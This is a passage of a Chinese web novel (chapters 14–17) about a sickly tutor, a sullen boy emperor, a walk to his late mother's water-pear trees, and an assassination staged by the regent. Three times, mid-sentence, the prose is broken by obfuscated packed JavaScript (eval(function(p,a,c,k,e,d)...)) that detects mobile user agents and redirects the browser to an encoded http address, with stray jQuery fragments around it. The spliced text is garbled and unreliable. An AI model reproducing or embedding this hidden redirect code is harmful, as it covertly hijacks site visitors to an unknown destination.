卫樾从前桀骜不驯、交流起来颇有些费劲,温催玉虽然希望他能变得平和些,却不希望矫枉过正,让卫樾活得太累。 卫樾眨了眨眼。 他心下惊奇又错愕,感觉他这太傅似乎真把他当良善的孩子了,所以才会将“委曲求全”的词意用来解释他的行为。 他方才的确是故意把语气压得可怜,有意让温催玉心疼一下,摸摸他。但并非如温催玉所说这样憋屈,而且恰恰相反,卫樾乐在其中。 其实卫樾大可直接吩咐“温太傅陪朕出营帐逛逛”,但他觉得逗他的太傅,很有趣,所以才如此迂回了番。 恰如此前手伤将要痊愈,他却故意撕掉了痂痕,就是为了让温催玉能继续给他上药这事儿一样,卫樾本是觉得很有乐趣的,甚至很期待温催玉的反应,从而有些满足。 但直到温催玉猜到他是故意如此、然后冷了脸,卫樾当时才隐约升起了局促不安。 此后这些天,因为温催玉承诺说了,等他手伤痊愈之后,便和他一起作画玩,他也不想再惹好脾气的温催玉冷脸,所以便安分下来,没再折腾自己的手。 不过现在看来,他故意一而再弄伤自己这件事,给温催玉留下了过深的印象,导致温催玉如今瞧见他的异常表现,便联想起类似的动机来。 卫樾看着温催玉春波秋水般的眼睛,有点想说,其实他平常就挺率性而为的,当真并未隐忍含屈,甚至肆意妄为到连“多礼”的庄王在他面前都少装了些。 而这一点,温催玉并非没有见过,先前还半真半假埋怨过他动辄恫吓砍手拔舌,还让他因为动手掐了脖子而致歉。 但如今,温催玉才给他认真上了近一个月的课,便记性不好地忘了似的……卫樾心想,看来他这太傅只擅长记竹简上的东西,平常旁的事倒有些忘性大了。 又或者,是心太宽了。 这样好的性子…… 莫名其妙的,卫樾突然又有点想要把温催玉惹哭。 但转念一想,现在温催玉又没要他做什么,若是把人惹哭了,他都不知道要怎么才能让温催玉停下来,还是算了。 卫樾的思绪在转瞬间跑了个百转千回,心眼子不知道捅了多少个马蜂窝,但面上没显露太多。 他对温催玉露出一个乖顺的笑容:“那朕以后想要你陪朕做什么,都可以直接对你说?” 温催玉见他一脸放松,也轻笑起来:“当然,陛下。” 卫樾追问:“你什么都能答应朕?” 这个问题上,温催玉没有被乖孩子的表情带偏,他一本正经地回道:“那还是得看具体是什么事。比方说,陛下方才说想要出去玩,臣就很乐意作陪。咱们现在出去吧?” 温催玉没有立刻满口答应下来,卫樾有点不高兴。 他们走出营帐,候在外面的宫中内侍蔡庆,还有温催玉这回带着一起来的小仆卢子白,便一齐看了过来。 蔡庆恭恭敬敬地赔笑:“陛下,太傅大人,您二位要出去吗?” 卫樾正闷闷不乐着,又不想对温催玉发火,于是蔡庆就被当成了撒气的。 卫樾冷声道:“不然朕和太傅走到门口来,是为了特意看你这张老脸吗?说的都是什么废话!滚,别跟上来!” 蔡庆习以为常地回道:“是,奴才遵命。” 温催玉看着这一幕,又想起几步以前、还在营帐里时一脸乖巧的卫樾,不由得心情复杂。 但卫樾此时还需韬光养晦,对待旁人的态度的确不能和以前有明显变化,而且若是尊重他身为帝王的威严,那即便是帝师也不便在这种情况下、当着旁人的面说陛下有错。 所以温催玉只好心下叹气,打算待会儿走远一点、只剩他和卫樾的时候,再跟卫樾仔细说说。 卫樾看了眼跟上来的卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358769|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子白,皱了皱眉,便正好试试方才温催玉说的,有什么事都可以直接跟他说。 “朕不想让你的这个仆从跟着。”卫樾看着温催玉,说完了,又觉得语气有点生硬,下意识又说,“朕只想和你一起逛逛,可以吗?” 温催玉笑了下,点点头,然后看向一脸茫然的卢子白,温声道:“子白,你不用一直守着我,自己在围场里四处看看、莫要莽撞与人起冲突便是,若是逛累了,便回营帐里歇着,不用总想着伺候我。” 卢子白听到了卫樾说不要他跟着,所以也没敢和好脾气的自家公子多说,老老实实听了吩咐,没再跟随。 卫樾看着他一瘸一拐往回走,有些奇怪地问温催玉:“你府上竟这般窘迫吗,你只能带一个还没你这病秧子走路快、年纪还这么小的仆从出门?” 温催玉无奈:“陛下莫要小看子白,他虽年纪小,有点腿脚不便,但力气大,还擅长赶马车,臣每日出入宫城见您,都是他接送。这次到围场来,乘马车的官员都得用自家车夫,臣自然也是子白赶车送的,正好他也好奇秋猎是什么样,臣带他看个新鲜。他人小鬼大,性子是稳重的,不会冲撞了人。” 温催玉越说,卫樾的眉头蹙得越厉害。 他原本只是随口一问,顶算有点好奇温催玉为什么会用一个瘸腿还没眼色的小仆,但本身并不在意卢子白这个人。 不过一个仆从罢了,温催玉一是病秧子二是太傅,有人伺候有什么稀奇的,卫樾才没看进眼里。 可偏偏温催玉回他得这么仔细,听在卫樾耳朵里就如同袒护,让他很不舒服。 “我不过是问了一句,你就说这么多,夸他护他还要带他看新鲜,你对朕都没有这般好。”卫樾不高兴道。 温催玉失笑:“陛下,臣爱护您这个学生,和维护家中小仆,不矛盾吧?” 卫樾还是不愉——怎么不矛盾了? 一个人的心就那么大点,多装一个人,分下去的心思就少一份…… 温催玉是他的太傅,那个瘸腿的臭小子不过是温催玉的车夫,温催玉居然把他和那个臭小子相提并论?难道不该理所当然地以他为先吗! 卫樾黑了脸,说:“你堂堂帝师,身边用着这么丢人的仆从,也不怕旁人见了看轻你。” “陛下……”温催玉无奈,正想就此也说说方才卫樾对宫人的态度。 但此时带着凉意的风迎面刮过,正好给温催玉呛了一下,他忍不住咳嗽起来。 卫樾吃了一惊,下意识伸出手,想要给温催玉拍拍背。 但他从前没做过这事儿,抬起手后一时僵住,“拍背”这种看似简单的动作,在这个瞬间似乎也变成了十分棘手的疑难杂症,卫樾担心自己一个拍不好,就把温催玉给折腾得更加虚弱了。 所以直到温催玉自己停下了咳嗽,卫樾的手都只是悬空放在温催玉的背后,没敢落下去。 他最后悻悻放下手,没什么底气地说:“……朕方才的话,哪里说得你不爱听了,你也直接同朕说就是,何必气成这样……” 不过既然没有气哭,只是咳嗽,那说明温催玉应该也不是很生气?卫樾庆幸地猜测。 听着卫樾因为误会而充满了心虚的语气,温催玉轻叹了声,心头又是一软。 15. 第 15 章 “陛下,臣是被风呛着了,不是被您气的。”温催玉先解释道。 卫樾“哦”了声,也不知道信没信。 温催玉接着说:“还有啊,陛下,臣此前同您说过的‘喜怒不形于色’,您还记得吗?” 他这么一说,卫樾再想起自己方才的言行,当即便猜到了温催玉的意思。 于是,卫樾抿了下唇,开口时努力为自己方才的言行辩解:“朕当然记得……但这不是在人前吗,朕若是突然待谁都客客气气的,怕是不等庄王起疑,其他人就先被吓死了。” 温催玉颔首:“是,陛下这话说的没错。但您和臣都心知肚明,您方才并非出于作戏,对吧?” 卫樾不高兴道:“你是想要责备朕吗?你上次对朕生气,还是因为朕故意撕掉了手上的痂。这次生气,居然只是因为一个不重要的臭小子?” 温催玉平心静气地看着卫樾。 卫樾被他定定地打量着,脸上阴沉沉的表情维持不下去了,他有些别扭地避开温催玉的视线。 此时,温催玉才接着平心静气地说:“陛下,臣没有生气,也没有想要责备您。您这样活了十年了,要您马上就全改了,太过苛责。” 卫樾这才移回视线,看着温催玉似雪的面容:“真的?” 温催玉颔首,又说:“臣方才的话,也不单是因为您说起了子白,还因为您对蔡庆内侍的态度……臣知道,陛下您待宫人们那般随心所欲,并非是因为他们身为宫人的身份,您只是看谁都不顺眼,包括权倾朝野的庄王殿下。” 卫樾轻哼了声。 “……也包括此前的臣。”温催玉道。 闻言,卫樾摸了下鼻子。 温催玉看见他的小动作,笑了笑,接着慢条斯理地说:“但陛下,若是没有撕破脸的利益冲突,您又何必总是以獠牙示人呢?” “喜怒不形于色之外,臣还希望您能记得,不要小瞧任何一个人,不论这人是何身份,是宫人、侍卫、文臣武将……纵然是匹夫,也有蝼蚁撼树的可能,都不当被小觑。” 卫樾听了,但听不进去,满脸都写着“朕为什么要把蝼蚁放在眼里”。 温催玉也不急,和声细语地说:“古人有云,‘若士必怒,伏尸二人,流血五步,天下缟素’。真把人逼急了,一条命横出去不要,直接给您这个天子一刀,也不是做不出来的,尤其是宫人本就离您近、机会多。” “陛下,您若是一时无法认可‘旁人都是人’,那便从这蚍蜉撼树的危险思虑起,权当君子不立危墙之下。若是可以,非必要情况下,何必待旁人太过恶劣呢?” “以您的身份,您不再动辄恫吓,旁人自然会愿意亲近您,届时您便能体会到更多善意,有更多人对您好,不好吗?当然,为君者也不能一味仁慈,当恩威并施,这中间的度,还需要根据情况拿捏。” “且善意也分真假,不可一味相信表面作派,不过以您目前的脾性,臣倒不太担心您一下子仁善得可欺……陛下?” 卫樾脸色很难看。 他其实挺乐意听温催玉慢条斯理地同他说话,哪怕有时显得长篇累牍,但方才,从温催玉说“有更多人对您好”这句话起,卫樾就听不进去后面的了。 他看着温催玉,语气发沉:“朕为什么要更多人对朕好?你是不是盘算着等到那天,你就不用对朕好了?” 温催玉一怔,着实没明白过来卫樾这思维怎么会如此跳脱:“陛下……” “如你所言得来的‘好’,谁知道那些‘好’里掺着多少阴谋诡计,你不是朕的太傅吗,你就打算让朕的身边都是那样虚情假意的人?”卫樾咄咄逼人地质问。 温催玉蹙眉:“所以臣也说了,需要分辨真伪作派。但您是皇帝,您需要能用的、忠诚于您的人,如果始终这般对人恶言相向,谁也不信,您将身边无人可用,且需要面对的阴谋诡计照样不见得少……” “朕没有谁都不信。”卫樾说,“朕如今很信你。” 温催玉喉间一哽,只觉得感动得有点生气。 卫樾一脸倔强地看着温催玉,又服软道:“但……朕知道你的意思,朕想争权、将来要治国,如今这般胡乱行事,肯定是不行的,朕明白……朕只是不希望你有离开朕的想法,朕之前说兔死狗烹只是吓唬你,并未当真……” 他语气低落下来:“朕只相信你对朕的真心,旁人如何朕不在乎,但你若是一直抱有未来要离开朕的想法,朕会很失望的,温催玉。” 沉默几息后,卫樾的脑袋上挨了一下——不是轻柔的抚摸,而是不轻不重的一敲。 卫樾错愕了下,抬眸看向温催玉。 温催玉没好气道:“陛下,即便您不打算叫臣一声老师,但也不能直呼大名,这么不尊师重道吧?” 卫樾抿了抿唇。 老师…… 他看着温催玉的脸,微微启唇,有点想要用这个称呼哄温催玉高兴。 但这两个字仿佛有千斤重,坠得卫樾的口舌笨拙无力,一时间他像是刚牙牙学语的幼儿,艰难地在找对应的发音…… 温催玉看出卫樾的纠结,又揉了揉这倒霉孩子的脑袋,笑着说起别的事:“对了,陛下方才不是问子白的事吗,说起来,也是意外的缘分。” 温催玉本想换个话题,走在秋高气爽的围场里,说点轻松的事。 但卫樾压根不想听温催玉用这样的语气说起卢子白,还“意外的缘分”……能有温催玉和他之间缘分吗? 皇帝和帝师,将来不论夺权成败,他们都注定会在史书上留下与彼此浓墨重彩的记载,这才叫缘分! 但卫樾又想听温催玉说点和他自己有关的事,于是只好满心别扭地听着。 温催玉道:“子白其实也没来臣府上多久。臣家底薄,又非雁安人,若不是被安排做了太傅,被拨了个太傅府,如今应该还在租赁屋子住……” 按着原书设定,原主并非大燕国都雁安人,他是被举荐入仕后,才从老家来到雁安的。 ——在这个架空的大燕朝,还没有科举考试,选官制度更近似察举制,主要靠地方官向上举荐德才突出者到中央,再由中央考核后任官。 所以,虽说有“举荐不实则连坐”的规定,但这其中潜规则的可操作性仍然挺大,一般能被举荐入仕的,家世门庭都不会小、抬头低头总有点人脉。毕竟寻常布衣,也少有能让自己德行才名远扬的机会。 而如今无亲无故、家底不丰的温催玉,属于一个“意外”。 根据穿书后系统给的记忆所知,原主的父亲是西华郡的私塾先生、母亲是技艺精湛小有名气的绣娘,再往上的祖辈都已离世,也没旁的兄弟姊妹。 西华郡几面环山、多有匪患,去年更是有一支山匪很成规模,买通勾结了西华郡郡守,谋反攻占西华郡,想要跟朝廷讨价还价、得封个诸侯王当当。 朝廷平叛期间,原主的双亲为了庇护学生,死于匪军刀下,原主因此悲痛晕厥。 暂代西华郡郡守的官员为表爱民,把温家的情况作为优秀典型上报,又在今年选官期,以“至孝”推举了原主到国都接受选拔。 若是寻常时候,一个体弱的病秧子因为双亲离世而悲痛犯病,这点程度的孝即便被传开了,也没到够格被举孝廉的地步。 但这不是特殊情况吗——其双亲也算是为国捐躯,就剩下这么个独子,除了体弱之外名声上也挑不出毛病,权当是其父母之功荫蔽吧。 西华郡官员上报,雁安这边也接受了。但原主一路小病不断地赶到雁安时,不巧已经过了集中选任的时期。 这般情况,原本即便特殊处理,也顶多就是先任个郎官级别的职位,但巧的是正好庄王要给少帝安排新的太傅。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358770|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是在冠冕堂皇的说辞下,本着不打算让卫樾学有所成的真实想法,庄王就这么钦点了原主,破格任他为太傅。 不过是个倚仗帝王喜恶、手中并无实权的虚职,其他大臣也对庄王的用意心知肚明,故而这样堪称乱来的任官,并未引起太大争议。 而成了太傅之后,原主虽然有了太傅府邸住,但手里着实没剩什么钱了。 刚上任,还没来得及领俸禄,于是原主最初是独居在偌大的太傅府,直到领到了第一份俸禄,原主才聘了几个仆从。但接着,原主饮酒失足而死,另一个时空同样失足撞到了头的温催玉穿了过来。 他醒了之后,府上刚来没多久的几个仆从就都辞了差事——主家瞧着不是很吉利啊,都差点办丧事了,且瞧着病歪歪的样子也不像是能长寿的,以后要是他又死了,届时身上背着“上任主家死了”的名头再去做工,都比寻常人更难被聘用。 于是一个仆从动了心思,剩下几个也跟着动了心思,便都走了。 这要是放在现代,水电气都便利,温催玉虽然体弱多病,但也不是没有自理能力、非需要人照顾,也就懒得再请人了。 但偏偏这是个古代背景,温催玉尝试了一番从井里打水,都实在磕磕绊绊后,便重新招工。 所以,刚穿到这个书中世界后的第一个月,温催玉虽然告假在家、没进宫讲学,但也不算是闲着没事。他养伤之余,新聘了仆从,还把原主书房中的东西都翻看了一遍。 这会儿对卫樾说起来,“穿书”这一茬自然是没提的,温催玉简单带过:“臣当时醒了之后,府上此前的几个仆从都辞去了,子白便是当时找上门来的。” “他娘早逝,他爹本来是给别人养马的,但不慎冲撞了惹不起的权贵,他爹被打死了,他也被赶了出来。但他生来有腿疾,又年纪尚小,去找活做总没人要,当时会找到臣的太傅府前,也是此前离去的几个仆从里有人瞧他可怜,便告诉他太傅府正好走了仆从,兴许要人,让他上门试试。” 温催玉轻叹了声:“倒也确实正好,臣府上要用人,也有马车,子白又会赶马,臣便留下了他。” 卫樾听完,没心思同情这卢子白,只觉得心情更不好了。 他在这时明明白白地意识到了,温催玉待他好,是因为温催玉他自己骨子里的怜贫惜弱。 所以温催玉可以对他好,也可以对一个主动乞怜的卢子白好。 ……不,温催玉决定对他好之前,还要犹豫辗转一段日子,但让那个瘸小子进府里当车夫,肯定是没有犹豫的。 这样比起来,他竟还不如一个瘸小子! 卫樾冷着脸,问温催玉:“若是朕和那瘸……车夫,同时陷入险境,你会先救谁?” 温催玉被问得错愕,这恰如“我和你妈同时掉到水里你先救谁”的问题,是怎么会如此诡异地出现在卫樾口中的? 卫樾是怎么想到这种问题的? 温催玉仔细打量了下卫樾的神情,观摩着他阴森表情下的倔强乃至忐忑,突然明白过来。 就像幼儿园的孩子也会下意识争老师的偏爱一样,卫樾这样性情有些执拗的嘴硬小孩,难得信任一个人,自然想要自己在这个人心中的地位是独一无二的。 温催玉清浅笑开,好脾气地哄道:“自然是先救陛下。” 听到这个答案,卫樾高兴了点,但随即又警惕地追问:“是因为朕是皇帝,不救驾你也会死?” 温催玉拿这没安全感的少帝没辙,还是好声好气地回答:“当然不是,只是因为臣更喜欢陛下。” 卫樾收敛了阴森森的表情,强压着得意,继续得寸进尺:“你不能只是更喜欢朕,你要只喜欢朕。” 听到他这孩子气的话,温催玉失笑,惯性地点头哄道:“好,臣只喜欢陛下。” 闻言,卫樾这下是真高兴了。 16. 第 16 章 点将台上,庄王背手站着,看向远处慢吞吞走在围场边缘的少帝卫樾和太傅温催玉。 “那方向,陛下这是要带温太傅去看水梨树啊。”庄王慢悠悠地说道,“看来这段日子,陛下和温太傅的确相处得十分和睦。” 站在庄王身后的侍从回道:“殿下早就想好借这次秋猎出宫,设一场假刺杀真离间、防微杜渐的局,真是慧眼如炬。” 庄王笑了笑:“不过是担心陛下识人不清、温太傅糊涂走错路,所以小题大做罢了,免得朝中其他大臣们以为本王不关心陛下,人心浮动可就不好了。都准备好了?” 侍从:“是,按您吩咐,‘刺客’们都已经在水梨树附近隐匿,等待时机。” 庄王点了点头:“那就别耽误了,正好今日是秋猎第一天,若是陛下和温太傅不小心受了伤,剩下几日还能在这儿慢慢休养好,不至于耽误了回宫的行程。” 庄王不再看远处的卫樾和温催玉,目光随意在围场内逡巡了一圈,突然看到了个格格不入、走得一瘸一拐的半大孩子。 他若有所思:“那孩子……好像是温太傅带来的仆从?” 侍从跟着看过去,想了想才确定道:“是的。” “堂堂帝师,出门居然只带了个不体面的小仆,也不知道是温太傅囊箧萧条,还是他有意显得简朴。”庄王随口道。 侍从见庄王似乎有点兴趣,便回道:“此前温太傅告假养伤,殿下遣人到太傅府探望,那人回来后倒是提过,说太傅府上尽是老弱病残。” 庄王闻言:“哦?” 侍从:“属下未曾亲眼见过,只是听了一耳朵,说是太傅府上仆从不多,开门的是瘸腿的十岁上下小仆,洒扫的是一对年近半百的夫妇,端茶倒水的妇人瞧着年纪也不小了、看那打扮像是厨娘,因着有客上门所以临时充任侍女送个茶水,厨娘脸上一大块不知道是烫伤还是烧伤留下的疤,怪瘆人。” “此外好像还有少几个仆从,但被您派去探望温太傅那人没接触到,不太清楚,只知道太傅府上连个看家护院的壮年男人都没有,本该身强力壮点的温太傅自己还是个病秧子……” 说完了,侍从又解释道:“都是属下们闲暇时随意聊起见闻,那时您没有特意吩咐,所以去的人也没有特意观察,复命时更是没敢啰嗦这些闲事。” 庄王一脸玩味:“是吗,这般听起来,这个瘸腿的小仆竟像是太傅府上最拿得出手的一个了,好歹乍看还挺周正,也不大怯场。” “温太傅虽然没个好出身傍身,但太傅俸禄位同三公,便是初入官场手中拮据,也不至于连个年轻健壮些的仆从都用不起……” 他再度看向远处温催玉的背影,有几分意外地感慨:“没想到,竟真有能怜贫恤苦的人……如此想想,倒也难怪他会另辟蹊径、投诚陛下了。是个心地善良的年轻人啊,若是为民办事,想必会是个受老百姓爱戴的好官……” 侍从老实听着,没有插这话。 …… “陛下,您是要带臣去哪里吗?”温催玉问道。 他本以为只是随意走走,但渐渐发现卫樾似乎是有方向的。 卫樾抿了下唇,似乎有点难为情。 “……前面的林子里有几棵水梨树。”卫樾说。 温催玉回忆了下原书剧情,但原书中字里行间简单粗暴,很多细节都没有,连卫樾二十岁之后争权、斗倒摄政王那两年的剧情都着墨不多,篇幅主要花在暴君执政有多暴君了。 比如现在,这听起来对卫樾似乎有点特别的水梨树,温催玉就没能从原书剧情里找到相关的。 他脑海中也没有关于这种树的了解,所以只好实话实说地问:“水梨树是?” 卫樾看向前方:“一种不常见的树,据说在南边比较好栽种,在雁安这气候很难存活。被关在定风殿里那几年,朕的母妃时常坐在窗边看着外面,说水梨树开花的时候她就能回家了,不过定风殿院子里并没有水梨树。” 温催玉微微一怔。 他们步入了围场北边的小树林,这片树林并非狩猎区域,没人在这里打猎,很安静。 没走几步,卫樾就敲了敲路过的一棵树树干,对温催玉说:“这就是水梨树。” “当初在定风殿里,倒不只是只有朕和母妃,还有母妃的奶嬷嬷。一些和母妃过去有关的事,都是老嬷嬷告诉朕的,她说母妃自幼在淮南长大,住的地方窗外就有一棵水梨树,那树几乎是和母妃一起长大的。” “母妃入宫之后,曾被先帝盛宠过几年,那时先帝得知她思乡,便命人栽种水梨树,但精心栽种的都没能存活,反倒是这围场中随意洒下的树种活了几棵。” 温催玉目光落在水梨树上看了看。 这树其实有些其貌不扬,融在树林里,又只有寥寥三四棵,若不是有心分辨,乍看不会觉得这里有不同种类的树。 但对于卫樾来说,这几棵树是特别的。 温催玉轻声说:“所以,陛下来围场,原因之一也是想看看这些树?” 卫樾点了点头,然后垂首看向树根,几息后他才偏过头,继续对温催玉说:“最初,朕只是有点好奇母妃口中总念着的水梨树长什么模样,但看到了之后,朕有了个新想法。你猜猜是什么?” 听到卫樾的语气逐渐变得恶劣起来,温催玉微微一顿,灵光乍现道:“……您想把这几棵树砍了?” 卫樾有点意外,又有些惊喜似的:“没错!你居然能明白朕的想法!” 温催玉:“……” 他其实并不确定自己是不是真明白了,只是这么一猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358771|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反正不论出于什么想法,这种砍树的做法是很有卫樾的风格的。 卫樾说:“这几棵树,是母妃还受宠时,先帝为了哄她种下的,每每想到这个来历,朕就觉得这几棵树看着十分可笑,想来即便母妃还在,也不会在这几棵树上寄托思乡之情了,不如砍了痛快。” “明年三月春猎期间,正值母妃四十冥寿,朕打算那个时候把这几棵树砍了,烧给母妃闻闻。你觉得如何?” 卫樾用兴致勃勃的语气说着并不欢快的话题,听得温催玉有点为他难过。 温催玉的手落到卫樾头上,轻柔地摸了摸:“陛下觉得高兴便好。” 卫樾感受着头顶的轻盈重量,唇角轻扬——他就知道温催玉会摸他,果不其然。 “你不好奇朕的母妃怎么死的吗?”卫樾又问。 不过未等温催玉回答,卫樾又自问自答地说:“也是,朕的母妃什么时候死的也不是个秘密,你大概已经猜到了内情,所以才不问的吧?” 温催玉轻叹了声,微微颔首:“据传,辛夫人病逝于陛下登基前,但……” 辛夫人便是卫樾的母妃。 大燕帝王后宫品级,皇后之下便是夫人,通常设两人左右。卫樾的母妃入宫后颇受盛宠,很快便被封为夫人,直到被幽禁后降为良人。 后来庄王赵曜“清君侧”,让卫樾登基做了皇帝,卫樾的母妃才得以重封,仍以“辛夫人”之名下葬。 辛夫人死于被解除幽禁、卫樾登基之前,对外说是病逝。 但她病逝的时机实在太巧,所以不少朝臣私下猜测,应当是庄王要了她的命。 但也有人觉得或许就是这么巧,毕竟辛夫人一介疯疯癫癫的女流,杀她做什么?留着生母,还能牵制一下新登基的少帝,庄王难道想不到这一点吗? 温催玉因为原书剧情,所以知道真相——的确是庄王杀了辛夫人。 就在宫变当日,庄王在定风殿请出卫樾之后,没多等片刻,便当着卫樾的面命人三尺白绫勒杀了她。 正是因为知道真相,所以卫樾此前提起他母妃时,温催玉从未追问过。 眼下,温催玉刚说出“但”字,骤然林中风吹叶动。 突然出现在周围的两个蒙面黑衣人,打断了温催玉和卫樾的闲聊。 “狗皇帝,拿命来吧!” 两个黑衣人都手持长弓,正好挡在出林子的方向,让温催玉和卫樾若是想跑,也只能先往林中择路。 卫樾这傀儡皇帝当了十年,这还是头回遇到刺杀,一时有些意外。 更让他心绪复杂的是,温催玉紧跟着挡到了他身前…… 明明是清瘦脆弱的病秧子,却下意识腰背挺直地把他护在身后。 卫樾攥了攥手,看着温催玉单薄颀长的背影。 17. 第 17 章 温催玉看着两个虎视眈眈的黑衣人,存亡未卜在前,他顾不上害怕,全凭本能的一股气撑着冷静。 温催玉想,他身体弱,生死面前潜能也爆发不到哪里去,大概跑都跑不了多远。 卫樾虽然身体康健,但不会武功,在这树林里和两个手持弓箭还把他当首要目标的刺客相比,逃脱的可能性也不大。 而两个刺客落地、喊完话之后,并没有等也不等地动手。 反正,就算他们现在马上转身就跑,刺客也是顺手就可以拉弓射箭,又不会多给出逃跑时间。 所以温催玉揣测着,或许可以趁刺客还没主动行动,先谈判试试,说不定这两个刺客也是有话要说…… “你们搞错人了,我们是丞相府的,我家公子不是当今陛下。”反正卫樾没穿龙袍,温催玉死马当活马医,试试。 两个刺客都冷笑一声,其中一个回答:“不用垂死挣扎了,我们认得狗皇帝!” 好,这个插科打诨的路数不行,温催玉也不纠缠,接着说:“那你们杀了陛下之后呢,想要得到什么?” 两个刺客没排这一出,被问得顿了顿,接着其中一个刺客抬手向后,从背着的箭囊里取箭。 “你哪来这么多废话,想拖延时间等人发现?想都别想!别跟他废话了!” 另一个刺客秉着“让少帝和帝师离心”的命令,也开口道:“我们要杀的是狗皇帝!与旁人无关!你若是识趣别挡道,说不定还能保住小命,让开!” 听到刺客的话,卫樾定定地看着温催玉的背影。 他想,真是奇妙,他竟然一点都不怀疑温催玉会抛下他。 见两个刺客都开始取箭拉弓,温催玉知道谈判这件事是不用想了,于是他当即转身推了卫樾一把:“跑!” 卫樾下意识抓住了温催玉的手腕,和他一起行动。 两人在林中逃亡起来。 温催玉扯了卫樾一下,带着他在树木间蜿蜒逃跑,这样虽然乍看跑出去距离不长,但好歹给刺客射箭造成了妨碍,目标没那么直愣愣的,弓箭射出毕竟不能改道,温催玉和卫樾也能借着树身当挡箭牌。 但温催玉体能不行,即便强撑,也很快就体力不支了。 他上气不接下气,苍白的脸色显出不正常的红,眼前景象越来越模糊扭曲,突然脚下一软,带得抓着他手腕的卫樾也差点一起摔倒。 卫樾扶起他:“我背你……” 温催玉推了推卫樾,勉强开口说话时,只觉得喉咙痉挛、满口晦涩的血腥气:“跑……你跑……” 卫樾不听他的,一脸倔强,手臂用力,想要强行把温催玉背起来,但随即又想到箭矢在后,他背着温催玉不是等于拿温催玉挡箭吗。 于是卫樾改为把温催玉打横抱起来,继续往前跑。 温催玉不想拖累他,但此时挣扎争执起来,只会更耽误功夫,于是只好抓紧了卫樾的肩臂,一边调整呼吸,一边往后看。 这一看,温催玉就发现了方才奔逃过程中无暇分心的情况。 他注意到,方才他和卫樾一直没有被追上、也没被射中,似乎不是拼命逃跑后的运气好,而是那两个刺客并没有用尽全力追杀。 那两个刺客仿佛在玩猫捉老鼠的游戏,用很胜券在握的步伐追在后面,似乎并不急着完成刺杀的目的,箭矢要么射偏,要么擦着他和卫樾身边过去,看似危险,其实也只是借此影响他们的逃跑路线,让他们无法朝林外跑,只能一步步逃向深林。 不对……这种态度根本不是刺杀。 一支箭射到卫樾前面。 卫樾抱着温催玉,脚下近前的视野多少受阻,便没能及时躲开,一脚绊在箭上,抱着温催玉摔了下去。 看到温催玉红白交加、脆弱得马上要羽化登仙似的模样,卫樾生怕他直接摔地上能给就此丢命,于是咬牙竭力侧身,让自己先摔倒,给温催玉当了垫子。 卫樾和温催玉都闷哼了声。 卫樾这时候都还注意着这样的小细节,让温催玉有些触动。 他怕把卫樾压坏了,撑着翻身坐到了卫樾身边的地上,看向已经追到近前的两个刺客。 卫樾也翻起身,伸长手臂挡在温催玉面前,冷脸看着刺客:“想杀朕,就干脆利落点,不要牵连无辜。” 温催玉气息尚且不匀,没说话,只观察着两个刺客露出来的眼神。 “呵,让你死得太干脆,那不是便宜你了。”一个刺客说。 说的话仿佛有深仇大恨,好似也能解释方才为什么一路追杀都显得不着急。 但温催玉没从他的语气中听出程度相符的磨牙吮血,也没从他眼睛里看出仇恨的怨气。 另一个刺客也是,只看表征,情绪起伏还不如始终背不下课文的学生来得悲愤。 不见怨恨,也不见即将大仇得报的快意——假如他们真如自述这样,有要杀了“狗皇帝”的仇怨的话。 “我们也不想滥杀无辜,但这个人不识趣啊,方才让他闪开,他还带着你逃跑。”另一个刺客说,“而且看起来,狗皇帝你还挺在意这个太傅的嘛,那我们更不能放过他了。” 温催玉心想,这两个刺客认识很少出宫、露面不多的卫樾,也认识他这个太傅,还能正巧潜藏在这边的林子里,好像笃定他们口中要刺杀的卫樾一定会出现。 卫樾要看水梨树,自然会出现,但若不是往年都有关注,怎么会如此笃定呢? 卫樾咬牙瞪着两个刺客:“你们到底想怎么样!” 一个刺客突然笑道:“我想到了,要不这样,温太傅你来选,你若是愿意识时务,动手杀了这狗皇帝,那我们兄弟俩放你一马也不是不行,反正我们有你杀了皇帝的把柄,不怕你不老实。” 另一个刺客附和:“好!这个有意思,让狗皇帝愿意一起抱着逃命的人亲手杀了他,这才大快人心!” 卫樾攥紧了手。 温催玉若有所思——按这两个刺客话多的行事作风,若是真和卫樾有仇,应该已经说了个明明白白,就怕卫樾不知道自己死于什么、想看他懊悔不迭,从而满足报复的快感才对。 可这两个刺客,来来去去都只有一句要杀了狗皇帝,根本没有实际由头…… 温催玉抿了下唇,觉得自己呼吸稍微顺畅点了、能自如说话了,他抬手按下卫樾挡在他身前的胳膊,看向两个刺客。 “你们说要放过我,可我若是杀了皇帝,还怎么全身而退?”温催玉问。 卫樾一怔。 两个刺客听到这苗头,觉得离间任务有望完成了,于是语气挺迫不及待。 